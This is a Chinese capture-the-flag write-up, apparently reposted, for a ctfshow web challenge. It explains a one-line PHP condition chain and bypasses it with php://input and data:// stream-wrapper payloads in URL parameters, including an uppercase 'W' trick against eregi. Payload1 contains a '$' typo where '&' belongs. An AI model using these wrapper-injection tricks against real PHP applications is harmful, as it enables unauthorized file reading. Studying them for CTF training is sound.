其他分享
首页 > 其他分享> > ctfshow、buuctf:摆烂杯WEB-writeup

ctfshow、buuctf:摆烂杯WEB-writeup

作者:互联网

1、一行代码

?php echo !(
	!(include "flag.php")||
	(!error_reporting(0))||
	stripos($_GET['filename'],'.')||
	($_GET['id']!=0)||
	(strlen($_GET['content'])<=7)||
	(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||
	substr($_GET['content'],0,1)=='w'||
	(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow")
	)
	?$flag:str_repeat(highlight_file(__FILE__), 0);

echo !()?true:false 这是一个条件判断句,!()这个部分的代码为true$flag,反之则highlight_file;每个条件都是或(||),因此上面这部分我们需要保证每个条件都为false,!false才会为true;

!(include "flag.php")|| (!error_reporting(0))|| stripos($_GET['filename'],'.')|| ($_GET['id']!=0)|| (strlen($_GET['content'])<=7)|| (!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))|| substr($_GET['content'],0,1)=='w'|| (file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow")

1. 第一个和第二个条件恒为false;
2. stripos(string,find,start)函数查找findstring中第一次出现的位置(不区分大小写),start(可选)默认从0位开始,当$filename中没有.时为false;
3. 当$id=0时为false;
4. 当$content$长度大于7时为false;
5. eregi(string1,string2)string2匹配string1,该函数不区分大小写。substr(string,start,length)函数返回字符串的一部分。当$content的第一位为w时为false;
6. 当$content第一位不为w时为false,与第六个条件相悖,此时可用大写W绕过;
7. 当file_get_contents('filename','r')获取到的内容为welcome2ctfshow时为false;

payload1

url/?id=0&content=W1234567$filename=php://input
post data:welcome2ctfshow

payload2

url/?id=0&content=W1234567&filename=data://text/plain,welcome2ctfshow

标签:WEB,buuctf,false,GET,filename,content,时为,welcome2ctfshow,摆烂杯
来源: https://www.cnblogs.com/fullstar-l/p/15824080.html